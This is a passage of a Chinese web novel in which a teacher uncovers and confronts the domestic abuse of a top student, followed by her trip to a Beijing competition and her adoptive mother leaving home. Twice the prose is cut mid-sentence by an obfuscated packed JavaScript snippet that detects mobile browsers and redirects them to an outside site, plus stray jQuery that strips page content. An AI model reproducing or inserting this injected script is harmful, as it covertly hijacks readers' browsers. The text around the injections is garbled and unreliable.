班主任记忆犹新:“就开学考试完那一周。” 梅山皱了皱眉头,说:“是吗?” 班主任点点头,说:“嗯,我记得特别清楚。” “不对……不对。” 梅山忽然摇摇头,伸手拿出来了桌上的文件夹,按月份取出来了请假条。 很快,数十张假条被摊开放在了桌上,柳静仪的名字格外清晰,可那上面请假的理由,却模糊至极。 梅山顶着那个笼统的生病,说:“她有和你说过是什么病吗?” 班主任努力回想:“你别说,还真没有……” “嗯。” 梅山应了一声,伸手打开电脑,开始查文件。 西琅一中有开学体检,体检数据都保存在电脑里,以防任何突发情况。 班主任若有所思的继续道:“这样一说还真是很奇怪,我记得上个周还有学生和我隐约提过,有人问柳静仪是不是经常不来上学……” 梅山很快找到文件夹,在对应的班级里输入柳静仪,伸手敲下键盘上的Enter键,一张体检报告图片弹出,摊开在了两人眼前。 【姓名:柳静仪】 【年龄:16岁】 【身高:172】 【体重:52】 …… 【健康程度:健康】 【备注:该生各项指标正常,无任何传染病和重大心血管疾病。】 梅山盯着这张体检报告,说:“谁问的,还记得吗?” 班主任凑上来看看图片,咕哝两句说:“这体检报告看着也没问题啊——” 又紧接着回答梅山,说:“我不在场,是听江怀溪说的。” 梅山点点头,叉掉文件,拿起来外套起身: “走吧,咱们去看看什么情况。” 两人走到教室时,江怀溪正在写习题,身前忽然投下来一个阴影,一抬头,梅山直勾勾的盯着他,还伸手推了推眼镜。 江怀溪差点一口气没上来。 “梅梅—梅主任?” 梅山点点头,说:“你出来一下。” 说完转身就走,江怀溪忐忑的站起身来,心里一阵哀嚎: 不是吧,今天不该梅山值班啊? 那怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17179083|196928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道他迟到的? 还特意找到教室里来扣分?? 追着杀??这有点太过分了吧?! 江怀溪心里七上八下的,三人走到旁边的班主任办公室,梅山对着江怀溪说:“坐。” 先礼后兵。 江怀溪脑海里瞬间浮现出这四个字。 他战战兢兢的坐下,梅山在他的对面落座,开口道: “听说前两天有人来找你打听柳静仪了?” “我没迟到——” …… 旁边的班主任绝望的闭上眼睛。 梅山也在他这话里无奈摇头,江怀溪后知后觉,原来不是江湖追杀啊。他嘿嘿一笑,一颗心放了下来,也不紧张了,对着梅山说: “哦哦哦,是有,一个女人,大概三十来岁,问我说柳静仪是不是经常请假。” 梅山说:“那你怎么说的?” 江怀溪眨眨眼睛,坦诚道:“我实话实说呗。” 班主任说:“你认识对方是谁吗?” 江怀溪摇摇头,说:“不认识……” 班主任和梅山对视一眼,刚要叹气,江怀溪又说:“…但相璨说她是个便衣。” 梅山的目光骤然一凛。 两人隔空对视一眼,班主任追问道:“便衣?” 江怀溪点点头,说:“她说她见过。那个女人是镜湖派出所的警察,叫傅无双…哦对了,我确实看见她上了警车,就在学校后门小吃街那边。” 梅山点点头,说:“你偷偷溜出去了? …… 江怀溪移开目光,悻悻的笑了一下。 幸好梅山没和他计较,挥挥手让他走了。 班主任也后知后觉的察觉到了事情的不对,梅山想起来某个雪天,柳静仪向下拉的袖子。如果他没看错的话,那下面是淡淡的淤青。 失踪,便衣,淤青。 每一个都透露出来反常。 “你先上课,我去看看。” 梅山撂下这句话转身就走。 柳静仪家离学校不近,梅山到的时候,天已经黑了。街边亮起来灯,便利店里,身形消瘦,面色冷淡地带着口罩站在前台。 不是柳静仪是谁? 七天前柳建明回家,非但不知悔改,反而变本加厉。一顿发泄又将柳静仪打的几天下不来床,但这还不算折磨。 这次之后,他终于对柳静仪有所忌惮,怕她再度节外生枝,于是没收了她的手机,拒绝让柳静仪再回学校。 无可奈何,但,花落去。 柳静仪只能在便利店里打工收银,辛酸度日。 店里,她在认真上货,店外,梅山站在雪里,隔着距离,看清楚了柳静仪手上露出来的伤。 巷子里亮起来五色的灯光,老板娘站在门口招呼客人,梅山推了推无框眼镜,忍住心酸,进门落座。 今天上人早,梅山又要了个最好的包厢,老板娘脸上自然堆满了笑。 梅山点了几个菜,又叫住人,“老板娘——” 大客户出声,老板娘也朗声应: “哎,怎么了您说?” 梅山伸手拉开西装,掏出钱夹,拿出来二百块钱现金拍在桌上:“和您打听点事。” 老板娘笑开花,开心收下,又有些警惕,问: “你想打听什么事?” “你们这附近,有个叫柳静仪的小女孩,你知道吗?” 老板娘几乎是霎那变了脸色,说: “你问她做什么?” 梅山说:“我是她老师,看她许久没去上学,也联系不上人,实在是不放心,过来看看。” 老板娘顿了顿,一番思想斗争后,摆摆手,把钱推回去。 “无可——” 事情比梅山想象的更加严重。 他眨了眨眼,在老板娘拒绝的尾音里又掏出来三百拍在桌上:“够么?” —奉告。 老板娘看着那五百,没出声。 梅山了然,又拿出几张现金,拍在桌子上。 数十张纸币堆在一起有了分量,老板娘神色终于松动。 她伸手拿过那叠钱,放到口袋里,在梅山的注视下长叹一口气,“那孩子,是个苦命人啊,隔三岔五就被她那个酒鬼爸打的上不了学——” 只一句话,就让梅山浑身发冷。 比西琅百年难得一遇的暴雪更冷。 尽管已经做了很多的心理准备,可梅山在听到真相的这一刻,依旧是惊怒交加。 “您说…什么?” 他颤抖着声音,追问,“是打…的吗?” 可柳静仪不是说,是因为生病,才去不了学校吗? 老板娘说:“是啊,是打的。” …… 梅山急促喘息,那老板娘又说: “好多年了,那柳建明喝醉酒就打她,喝醉就打她,一开始孩子还哭,整个巷子都听得见,后来次数多了,就不哭了,也不笑了,变得像个木头——” 梅山死死的攥住手,问:“很频繁吗?” 老板娘点点头,说: “隔三岔五,家常便饭。前一阵儿吧,姑娘终于忍不住报警了,警察也来调查走访,本以为这次孩子终于能解脱了,可谁曾想,上个星期那柳建明,又出来了。” …… 梅山在这话里红了眼睛,“那这左邻右舍,就眼睁睁的看着,没有人拦着吗?” 老板娘却在这话里忽的尖利:“拦着?” 她冷笑一下,却又自嘲一般:“先生您说的倒是轻巧,那各人有各人的日子,拦的了一次,还能每次都拦得住不成?况且别人的家务事,搅合不清的,咱们这条街上的人,糊口都艰难,那还有力气去掺和这些事情?顾好个人就已经不错了,剩下的,都看命吧——” 梅山喘了口气,死死的掐住颤抖的手。 他努力平复下来心情,抽出来钱包里最后的五百块递给老板娘,对着她低声恳求: “老板娘,您行行好,帮我最后一个忙——” 12. 北京城 老板娘瞅瞅那钱,满脸防备的看他。 梅山说:“劳烦您跑一趟,去找那柳建明……就说,有人请他吃饭。” 老板娘没说话,饱经风霜的脸上写满为难。 梅山起身,亲自把那钱塞到她手里,无框眼镜边缘,玻璃泛着冷光。 他微微弯腰,语气郑重道:“拜托您了。” 老板娘低下头看看手里的钱,又抬起头来看了看梅山,好一会儿才抿了抿唇。 她终究是没抵住那钱的诱惑,把那一沓钞票小心翼翼的收好,又在梅山暗含希冀的眼神里后退两步,转身走了。 包厢门被顺手关上,明亮的房间里,角落忽然暗了下来,四下落针可闻。 梅山走到座位上坐下,拿起手机,三两下拨出去一个电话。不甚清晰地电流声里,他摘下眼镜随手一丢,活动了一下关节。 柳建明有很多的仇家,但柳建明也有很多酒肉朋友。 因此老板去叫他的时候,他没多问就来了。 小饭馆距离柳建明家很近,他慢慢悠悠,三两步溜达过来。老板指了指最大的包厢,柳建明乐呵上前。 推开包厢门,和想象中的热闹截然不同,里面一片冷清。坐在主位上的男人抬眼凌厉的看了过来。 梅山挂断电话,不辨喜怒:“柳建明?” 柳建明挑了挑眉,也不怯,伸手关门上前: “你哪位?” 他坐在了梅山的正对面。 眼前一桌好酒好菜,色泽鲜亮诱人。 梅山没答,却是伸手拿起酒瓶,为他斟了杯酒,转到他的面前:“坐。” 数千块钱的酒显然使得柳建明心花怒放,他端起酒杯,梅山却在这个时候开始说话: “今年西琅一中有近三万考生报考,最终只录取了不到一千人,录取率是三十分之一。五百三十分的满分,分数线就高达四百五,其中最高成绩是五百二十三分——” 柳建明皱皱眉,不知道他卖什么关子。 梅山一顿,低声说:“你知道这个人——考出来最高成绩的这个人,是谁吗?” 柳建明嘬了一口酒,笑了: “我上哪知道?我又不搞教育。” 梅山摇摇头,说: “你知道,非但知道,还很熟悉——” 柳建明的笑渐渐的僵在脸上。 梅山盯着他,一字一句的说: “是你的女儿——柳静仪。” “哼——” 柳建明伸手把酒杯拍在桌上,冷哼一声: “我还纳闷怎么忽然有人请我吃饭呢,原来是鸿门宴啊。” “绕这么大一圈,费这么多功夫,说吧,究竟什么事?” 梅山在他的话里嘲弄的掀了一下嘴角,也直接开门见山:“让柳静仪去上学。” 柳建明想也没想就回绝道:“不可能。” “哦?不可能?” 梅山抬起眼来,声音轻轻。 柳建明阴鸷的看着梅山,说: “我劝你最好不要管旁人的家务事。” “是吗?” 梅山笑了笑,忽然说:“ 你应该知道吧?入学奖金十万,期中奖学金两万,期末三万,而月考,每次也有一万块——” 柳建明伸出去端酒杯的手一顿。 梅山继续道:“柳静仪有贫困补助,可以额外再得到两万块——柳建明——” 柳建明在这低语里抬头,梅山扶了扶眼镜,冷声道:“游手好闲,不务正业,没人比你更清楚,你需要这笔钱。” 柳建明攥住了酒杯,虽没说话,可面上的神色却泄露了他纠结的内心。 梅山见状,伸手拿起外套。 他从中抽出钱夹,拿出来一张卡,放到桌面上,伸手转到柳建明面前。 柳建明缓缓抬眼:“你什么意思?” 梅山淡淡的说:“这张卡里有三万块钱,密码是六个零,只要你同意柳静仪复学,这钱就归你。” 柳建明哈哈笑起来:“还有这好事?” 梅山笑笑,没出声。 就在两人忽然陷入了一种奇怪的僵持时,门外传来一阵喧嚣。陈老四一行人按照老板指示,伸手推开了包厢门。 梅山抬眼,柳建明循声回过身。 陈老四见到他,忽然轻声不耐烦的啧了一下,又不怀好意地笑:“呦—建明?吃饭呢?” 话音里尽是嘲笑与轻视。 柳建明下意识起身,尴尬陪笑。 陈老四是这一块有名的地头蛇,虽说法治社会没有黑恶势力,但得罪了他,也够喝一壶的了。 好巧不巧的是,前两年柳建明不小心和他起了冲突,陈老四带人堵了他一个月,打的他头破血流,在床上躺了小半月才好,柳建明吃过亏,可不敢再得罪他了。 “陈哥,什么风把您吹来了?” 梅山在柳建明点头哈腰的动作里,轻轻端起来酒杯,嘬了一口。 陈老四的目光略过柳建明,看向主位。 梅山伸手放下酒杯,抬眼。 四目相对,陈老四霎那笑开了花,毕恭毕敬走向梅山: “梅主任晚上好啊,好久不见,最近一切可好啊?” 梅山笑着起身,淡淡道: “感谢挂念,一切都好。” “坐,大家都坐。” 梅山伸手道。 陈老四笑着挥了挥手,数十人鱼贯而入。 站在一旁的柳建明冷汗直冒。 梅山见状,笑着拍了拍陈老四的肩膀。 陈老四意会让道,梅山走到柳建明跟前,拿起来那张卡。灯光晦暗,他的眼里闪过似有若无的阴沉。 随即,他好脾气的笑笑,带着不容拒绝的气势,把那张卡塞到柳建明胸前的口袋里,又伸手拍了拍他的肩膀,笑了一下。 那意思不言而喻。 无框眼镜泛出幽暗的光,梅山对着他低声道: “不要再动手打柳静仪,不然的话——” 柳建明瞳孔微微放大,梅山的话戛然而止。 他后退一步,转过头去和陈老四继续寒暄: “大家都是旧识,本想借此机会好好一叙,却不想刚刚忽然接了个电话,学校那边有点急事要我过去,真对不住了——这顿我请——改天,改天我一定好好宴请大家,给大家赔不是——” 陈老四在社会上摸爬滚打,也是个妥妥的人精,听见梅山这话后,满脸不赞同:“咱们兄弟沾了梅主任您的光,高兴还来不及,何来赔罪一说?见外不是??” 梅山摇摇头,伸手捞起来西装,陈老四也不敢多留,转身送客。 柳建明眼皮跳了跳。 按照陈老四的脾气,换做旁人,他一定要说不给他面子,但现在,陈老四非但没有分毫怨言,反而毕恭毕敬地送梅山出门。 柳建明冷汗直冒。 两人走到包厢口,陈老四伸手开门,梅山忽然停下,侧头朝着柳建明看了一眼。 陈老四也顺着梅山的视线,阴狠地看过来。 柳建明汗毛直竖,一阵胆突。 其中的威胁不言而喻。 梅山淡淡的移开眼,陈老四信誓旦旦的保证: “梅主任放心,我一定会代您好好招待客人的。” 梅山笑了笑,拍拍他的肩膀,“辛苦你了。” 大雪纷扬,他在陈老四恭敬地目光里稳步走出小巷,又在寒风里,伸手推开便利店的门。 “欢迎光临——” 收银台前响起冷淡的声音,柳静仪抬眼,旋即在梅山高大的身影里愣住。 挺阔的肩膀上沾了雪迹,梅山满身寒气地站在她身前,淡声道: “柳静仪。” 柳静仪难得无措的别开眼,咬紧牙关。 下一秒,一张补充完整的假条被推到她眼前。 梅山温柔笑笑,说:“明天上学,记得销假啊。” / 2018年二月初,西琅一中结束了如火如荼的期末考试。当天下午,年级大榜张贴,柳静仪以732的成绩,位列榜首。 值得一提的是,这是她今年第五次蝉联第一。 相璨在年级大榜前,对着柳静仪的照片兴高采烈。江怀溪凑在榜前,照例从后向前数: “宋泓…游海…邱池…连镶……靠!” 他转过头来,满脸震惊的对着相璨说: “倒数里没有你的名字!!!” “!” 相璨不可置信道:“什么?!把我漏了?!” 江怀溪:“……” “合着你没看到成绩啊?那你对着年级大榜傻乐啥呢?” 相璨嘿嘿两声,说:“看柳静仪啊,年级第一!她这次数学又考了满分呢——” “不是,哎!人家满分,你高兴啥呢?” “哎呀你不懂—” 相璨说到这里,停下来动作,认真说: “她好,我就高兴。” 江怀溪在这话里眨眨眼,还没来得及回,手指就下滑到一个熟悉的名字——相璨。 向左一看,421名。 “我靠——” 江怀溪倒抽一口凉气,再往右看,语文123,数学88—— “我靠!!我靠!!!!” 江怀溪忍不住激动,猛地大吼一声。 相璨被吓了一跳,也吼回去:“你要死啊!!” 江怀溪也顾不上三七二十一了,伸手把相璨往他那一拉,指着那个排名和分数看:“看!你自己看!” 相璨看了看区间,皱着眉看他,“你掉到四百多名也不用这么兴奋吧?” “……” 江怀溪咬牙切齿道: “要不睁开眼睛看看名字呢?” “?” “这还用看?这个区间一看就是你啊——啊!!!!” 相璨猛地叫了出来。 她捂住嘴巴,下意识看向江怀溪,眼睛亮晶晶的,说:“我出现幻觉了?!那上边写的好像是我的名字。” 江怀溪被她逗笑了,说:“再看看呢?” 相璨点点头,吸了一口气又转过身去。 她眯起眼睛来,认认真真的看眼前的内容,低声念出来。 “421.相璨,语文123,数学88——啊!!” “多少?多少?” 她转过身来,抓住江怀溪的衣领可劲晃: “你看见了吗?多少?不是我在做梦吧??” 江怀溪笑着说:“八十八分!” 相璨在这一秒仰天大笑,可下一秒,她就红了眼。年轻女孩拨开人群,撒丫子就向外跑。 江怀溪在她身后大声道: “哎?去哪啊?跑那么快干什么?” 相璨头也不回: “我要把这个好消息告诉柳静仪!” “等等我——” 两个身影一前一后的跑向天璇楼。 再往上,二楼办公室内,柳静仪轻轻摇了摇头。 她看向梅山,低声拒绝道:“我寒假不来学校培训,也不参加比赛。” 梅山伸手扶了扶无框眼镜,问:“为什么?” …… 柳静仪眨了眨眼睛,沉默以对。 梅山又问:“是有什么担忧吗?” …… “如果担心费用的话——学校培训是免费的,飞往北京参赛的费用也可以向学校申请……” 话音未落,柳静仪抬起眼来说:“我不想。” …… “我知道您是为我好,但是梅主任,我不想参加比赛,更不想去北京。” 梅山在这倔强的话里叹了一口气。 他摘下眼镜来,心情复杂的揉揉额头。 门吱呀开了一条缝,相璨和江怀溪扒住门框,悄悄探出来头。两人同步的眨巴眨巴眼睛,又呲着大牙,露出来一个灿烂的笑。 …… 柳静仪回过头去,问梅山说:“我可以走了吗?” 梅山疲惫地挥了挥手。 柳静仪起身,走到门口,就在她伸手拉开门的时候,背对着她的梅山忽然出声: “报名截止日期在这个周天,如果你反悔了,随时过来找我。” 柳静仪敛下眼睛,低低说: “我知道了,谢谢梅主任。” 她推门离开。 路过相璨和江怀溪,又下楼梯,无视年级大榜,顶着风走出校门。 和过去一样,一如既往的冷漠无情。 三楼,连镶伸手在宋泓面前晃了晃: “看什么呢?” 宋泓在那个熟悉的背影里收回视线,垂眸说: “没什么。” “是么?” 连镶明显不信,但他却没多问,而是说: “我跟你说俩有意思的事儿呗?” “嗯?” 宋泓微微侧耳。 连镶说:“柳静仪这次又是年级第一,甩出去第二名将近二十分呢,据说万年老二道心破碎,当场就哭了。” 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尤婉心皱了皱眉,向外看去: “谁知道她!奇怪的很。” 柳建明瞥了她一眼,冷哼了一声,推门出去。 室外极寒,呼吸都是一阵热气,柳建明活动活动身子,三两步进了厨房,柳静仪正在刷碗,冷水冻的一双手通红。 柳建明倚在门口,语气轻蔑地说: “那什么劳什子比赛,你去吧。” 柳静仪微微侧头,柳建明说: “在北京赢点奖金回来。” 柳静仪垂下眼睛,继续刷碗: “这个比赛没有奖金。” “哦。” 柳建明应了一声,又说:“但你们学校应该有吧?多了不说,两三万是有的吧?” …… 柳静仪没出声。 柳建明当她默认了,又说:“去吧,去拿个奖。” …… “不去的话,寒假就别想过任何消停日子了。” 柳静仪在他的威胁里停下手里的动作,转过眼来,冷冷的看他。 兜兜转转,日子好像又回到了之前那样。 二月下旬,阖家欢乐之际,柳静仪和梅山一起,踏上了前往北京的飞机。 她在北京待了一个星期。 这期间,相璨锲而不舍的给柳静仪发信息,却没得到任何回应。 相璨极其沮丧,整日闷闷不乐,江怀溪看不过去,拿着压岁钱偷偷的买了去北城的机票。 两人飞跃数千公里,跋山涉水,追着柳静仪来到了这个陌生的城市。 落地次日,比赛结束。 相璨和江怀溪早早买好了鲜花,在北城大学校门口,等柳静仪出来。 好巧不巧,两人和等在门口的梅山撞个正着。 四目相对那一刹那,江怀溪甚至触发了自动程序,转身就跑。相璨一把揪住他的衣领,凑到他耳边,颇有些咬牙切齿的味道: “现在可是寒假啊混蛋——你能不能有点出息。” 江怀溪悻悻一笑,被相璨一把拉去打招呼。 三人站在一起,凛冽寒风里,柳静仪缓缓的朝他们走来。风吹起来她的头发,羽绒服也盖不住那消瘦的身形。 人潮如织,她朝这边看来,世界黯然失色。 相璨又一次看的呆住,还是江怀溪低低咳嗽了一下,她才反应过来自己有花要送,慌忙上前。 梅山被两人逗笑,柳静仪看着那捧即将戳到脸上的花,轻轻的眨了眨眼。 她后退一步,摇摇头,说:“谢谢,但不用了。” 相璨没想过被拒绝,如遭雷击,江怀溪一个箭步冲上去打圆场:“送我送我,我和梅主任需要。” 花被抢去,泪却将落。 相璨撇撇嘴,一阵委屈。 发信息不回,来送花也惨遭拒绝,这北京城,为什么这么大,又这么冷? 她甚至,都开始讨厌北京了。 相璨心如死灰,对着江怀溪喃喃道: “她拒绝我,她不想和我当好朋友。” 江怀溪在她的眼泪里慌不择言,“她想的,或许她只是没有最好的朋友——” ——不知道怎么和人相处罢了。 “有。” 圆场的话说到一半,前面的柳静仪却忽然出声,说: “宋恩仪。已经死了。” 是好多年前的事情了。 久到如果不是他们提起的话,柳静仪都已经要忘记这个人。 相璨的哭声戛然而止,江怀溪瞪大了眼睛,梅山在这个小插曲里叹了口气,上前拍了拍柳静仪的头。风吹的柳静仪鼻尖通红,她抬起头,梅山笑笑,接过那束花塞进她的怀里,说: “新年快乐。” 柳静仪不自在的接过。 寒风里,她抱着那束花,转向相璨,又看看江怀溪,难得无措的别开眼。 许久后,她在梅山鼓励的眼神里,低低道:“新年快乐。” 新年快乐,宋恩仪。 新年快乐,相璨。 与此同时,大洋彼岸,宋泓再度落地波士顿。 司机将车停在了怀特先生家门口,佣人在门口引导他们进门。 门口停着辆低调的豪车,三人进门,宜兰凑到宋承德耳边说:“是有其他客人吗? 宋承德眼内精光一闪,却没回答。 佣人推门,傅问循声转头。 宋承德佯装愣了一下,随即道:“傅先生?” 他快步上前,傅问从容起身。 两人礼貌握手,宋泓站在门口,淡淡的看着他和傅问寒暄。 傅问温和笑道:“宋老板怎么在这?” 宋泓患病的事情在圈内不是什么秘密,宋承德拍拍身侧的宋泓,说:“犬子几近康复,我们啊,是特地来找怀特医生复查的。” 傅问听到这,发自内心的笑了笑,“恭喜恭喜。” 宋承德也开怀,又揣着明白装糊涂一般问: “您这是……?” 傅问眨了眨眼睛,叹了口气,声音低了几分: “我爱人她……有些不舒服——” 楼上诊疗室里,怀特先生满眼关切。 杨晴泪眼朦胧,哽咽道: “我最近时常会想起我的女儿…不知为何,我总觉得她没死。” 13. 风筝误 春三月,西琅一中开学。 乍暖还寒时候,柳静仪将一张卡推到柳建明的面前。 是期末考试的奖金,外加西琅的贫困补助。 她向来争气,柳建明见怪不怪,接过来卡问:“这里面有多少钱?” 柳静仪拿起来书包,起身,说:“五万。” “啧。” 柳建明的胃口被养刁,听到这个数字皱起来眉头: “才五万?你那什么比赛的奖金呢?” 柳静仪头也不回的向外走:“六月才揭晓结果,全国那么多人,我不一定拿奖。” 尤婉心看着柳静仪的背影,欲言又止。 她无声的叹了口气。 满室沉默里,柳建明骂骂咧咧地收起卡,也起身出门。 尤婉心都不用问就知道柳建明又要去喝酒,等待她和柳静仪的,又是一阵拳打脚踢。 身上的陈伤作痛,尤婉心忽然一阵恍惚。 厨房里碗筷堆叠,客厅内酒瓶成山,墙上挂着的时钟滴滴答答的不停在转。 时间流动,而她始终想不明白,生活是什么时候烂成这样的。 但她也明白,她累了,也倦了。 与此同时,她苦苦等待的机会也来了。 窗外大风刮过,尤婉心在风声里缓慢的起身,走到房内,拿出来身份证,又转身,走到柳静仪门前,尤婉心缓慢的转动把手,推开那扇狭小的门。 一张床横在眼前占了整个房间的三分之一,旁边的桌子上,摞着高高的书。 墙上贴满了密密麻麻的的便利贴,而右边墙却空,只挂了一只风筝。 尤婉心站在门口,看着那只风筝,缓慢的红了眼睛。 这是她刚刚领养柳静仪的那一年,带她去放的那只风筝。 欢声笑语浮现在耳边,尤婉心的眼泪恍然落下来。 她缓缓的上前,对着那只风筝伸出手。 “哐当——” 春寒料峭,但知还池边的柳树却冒出来点点新绿。 柳静仪路过时,湖边恰好吹来一阵风。 冰水泠泠,枝桠摆动,柳静仪被这风景吸引,缓缓上前。 身上的伤口结了疤,淤青也有了颜色的变化,湖水静谧涌动,柳静仪站在河边,垂下眼睛,拿出来傅无双写给她的电话。 宋泓远远就看见了她的背影。 他刚下飞机,又卡点赶来学校,这个时间,路上行人已经很少了,因此宋泓靠近知还池的时候,一眼就看见了柳静仪。 天空灰蒙蒙一片,柳静仪站在河边,风吹起来她的头发,吹红了她的鼻尖。 美丽精致的面孔低下头去,缓缓眨眼,一眼望过去,是数不清的倦怠惆怅。 宋泓鬼使神差的朝她走去,隔着长长的距离,柳静仪伸手撕掉傅无双的号码。 生活又一次教会她,希冀是不能寄托在别人身上的。 谁也不行,神都不可以。 有些事情,只有自己可以。 柳静仪把碎成几半的废纸握成团,某个在心底盘旋已久的念头在角落里彻底成型,她的身后,传来了不甚清晰的脚步声。耳边的声音更加清晰,她眨眨眼睛,却没有回头。 河流开化涌动,宋泓站到她身边,侧过头对她说: “好久不见,柳静仪。” 柳静仪轻轻侧头,看了宋泓一眼,心底某个地方轻轻一颤。 流水潺潺,她攥住手,很快移开视线。 宋泓在这片沉默里说:“还记得我吗?我是宋泓。” 风吹过,杨柳枝桠飞舞,柳静仪依然面容平静,没有任何回答。 她不想说话,宋泓也不逼她回答,只是默默的收了声。 换作旁人,会在尴尬里掉头就走,可宋泓不是。 他就那样静静的站在柳静仪身边,随着她的视线一起看流水。 风声呼啸,流水缠绵,湖边上课铃响,柳静仪眨了眨眼睛,在这铃声里转身。 擦肩而过的一霎那,宋泓语气笃定道:“我们以前见过,是吗?” 柳静仪停下。 宋泓侧过头去,看她,说:“比上次更早之前,我们是不是,在哪里见过?” 柳静仪回头看了他一眼,却没回答,而是在宋泓期待的目光下径直走远了。 是吗? 不重要。 比起来要做的事情,眼前的一切都不重要。 下午乌云散去,出来了太阳。 数学课后,相璨一把抓起来桌上乱糟糟的草稿纸,跑到柳静仪身边,伸手推开她的新同桌江怀溪,霸占了他的板凳坐下,然后指着题目满脸愁容的对柳静仪说:“我这个算不明白。” 一套动作行云流水极其丝滑,被推的一个踉跄的江怀溪:“……?” 他气笑了:“鸠占鹊巢是吧?” 相璨嘿嘿一笑,对着他说:“什么意思,我语文不好。” 她摇摇头,眨巴着眼睛,语气欠揍:“听不懂。” 江怀溪斗不过她,气的转身就走。 相璨撇撇嘴,对着柳静仪小声道说: “刚刚是气他的,但这个数学我是真不会。” 柳静仪眨眨眼睛,在相璨恳求的目光下拿过来那个草稿纸:“是吗?我看看。” 相璨开心一笑,点点头:“好啊好!” 离开的人忽然去而复返,江怀溪不知道从什么地方找了个板凳,坐到相璨身边。 “?” “我也不会,我也来听听。” “?滚啊!” 相璨不信:“你都不知道我问的什么。” 江怀溪一脸理直气壮:“我都不会。” “你数学考120你说你都不会,你糊弄鬼呢?” “那怎么办我真的不会啊。” “我才不信,你就是故意不想让我及格,打扰我和柳静仪的相处时间!恶毒!!” “你冤枉我,宋泓和柳静仪的相处我都没打扰,我为什么要来打扰你——” “你不想让我超过你——不对——” 相璨反驳到一半后知后觉:“宋泓什么时候又来找柳静仪?我怎么不知道?” 柳静仪算数的笔尖一顿。 江怀溪说:“今天下午上课前啊,我路过知还池的时候看见他俩站一起说话来着,我刚想要叫柳静仪,她就走了。” 柳静仪垂下眼睛。 今天她进教室的时候,江怀溪确实没在座位上。 被撞见了。 相璨闻言转头,凑到柳静仪旁边,轻言细语的问:“宋泓又来骚扰你了吗?” 柳静仪写出来那个正确的的答案,放下笔,认真的看向相璨说: “那是谁?” …… 柳静仪轻描淡写的揭过这一页,说,“讲题了。” 人在充实的时候,时间就会格外的快,一眨眼就又过了一天。 柳静仪回到家时,门没有锁。 她有些意外。 推门进去,家里漆黑一片。 柳静仪打开客厅的开关,灯亮起,眼前的场景和她下午上学时一模一样。 她松了口气,可刚一回房间,柳静仪就愣住了。 冷风灌进这个狭小的房间,向前看,挂在墙上的风筝不翼而飞,连带着藏在风筝后的刀也消失的无影无踪。 有人来过她这里。 刀不重要,可是尤婉心买给她的风筝不能丢。 来不及把书包放下,柳静仪扑到垃圾桶那就开始找——废弃的草稿纸当头,垃圾桶和她离开时一模一样——没有。 她匆匆起身,跑到客厅打开灯——地上的酒瓶,沙发上堆着柳建明的衣服,墙上挂着时针——还是没有。 柳静仪匆匆跑出客厅,柳建明醉醺醺的推开门,见到她那焦急的身影,踉跄着笑:“静仪啊——” 柳静仪没理他,跑到厨房——没有! “静仪啊!!” 柳建明在院子里高兴的叫她。 她又跑到厕所——还是不见踪影。 整个家里被翻了个底朝天,可柳静仪都没有找到她那只风筝。 什么形态的都没有。 柳建明喝的烂醉,东倒西歪的走到客厅,晕的不省人事。 柳静仪院子里,一阵恍惚后,她看向客厅,若有所感。 她忽地停下了手里的动作。 进她房间里的人,不是柳建明。 如果是柳建明的话,依照他的性格,一定会拿着那把泛着寒光的水果刀再往她身上划几个口子,可他现在却喝的烂醉,不省人事。 也不是贼。 没有人会大费周折的去她房间里偷一张风筝和一把刀。 这不现实。 柳静仪用力的喘了口气,她回到客厅,从那里进入主卧。 那就只有一个人了。 她的养母,尤婉心。 柳静仪拉开床头柜,找到尤婉心放证件的地方,打开。 果然,床头柜里空空如也,尤婉心的证件不翼而飞。 四下陈设一切如常,柳静仪眨了眨眼睛,不辨喜怒的关上床头柜,走到客厅,站在柳建明的身旁。男人脸色酡红,烂醉如泥,呼噜打的震天响。 柳静仪在他眼前站了很久,才回房间。 她关上房门,捞起来丢到一旁的书包,在里面拿出来手机。 柳静仪拉开板凳坐下,打开拨号界面,按了一个烂熟于心的号码,通话界面自动跳出来了备注。 妈妈。 柳静仪把那个手机放在桌子上。 屏幕亮了又暗,暗了又亮,可那电话,却始终没打出去。 这一夜着实漫长。凌晨一点,章俭家里养的鸡叫了几声;两点半的时候,小巷里开过了一辆摩托车;三点四十八分窗外起了风,不知谁家的屋顶刮得叮当直响;四点二十,柳建明说起来梦话,颠三倒四的语句,人声清晰但又不真切;五点,陆续有人出门,小巷里逐渐开始恢复热闹。 柳静仪在台前枯坐了一整夜。 而尤婉心,没有回来。 她走了。 早上六点,熟悉的闹钟响起,柳静仪伸手按掉闹钟,打开电量耗尽的手机,给尤婉心发了此生最后一条信息。 她的双眼熬的通红,千言万语,在这个夜里化成了八个字。 “妈妈,不要再回来了。” 眼泪落下,柳静仪删掉短信关机。 窗外天亮了。 柳静仪放下手机,擦干眼泪,背上书包去上学。 客厅里,柳建明还在昏睡。 早上很冷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17179085|196928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他被冻的转了个身,柳静仪站在门外,冷冷的看着他,很快转身离开。 “阿嚏——” 柳建明猛地打了个喷嚏,又感觉到一阵寒战。 没一会,他悠悠转醒,捂着头起来,大喊道:“婉心?尤婉心?” 该死的。 “尤婉心——” / 中午放学后柳静仪没有回家。 她不想回教室,便又去河边。 阳光斜斜照下来,湖面波光粼粼,柳静仪看着那流水,后知后觉有了想哭的欲望。 但也只是一种想法。 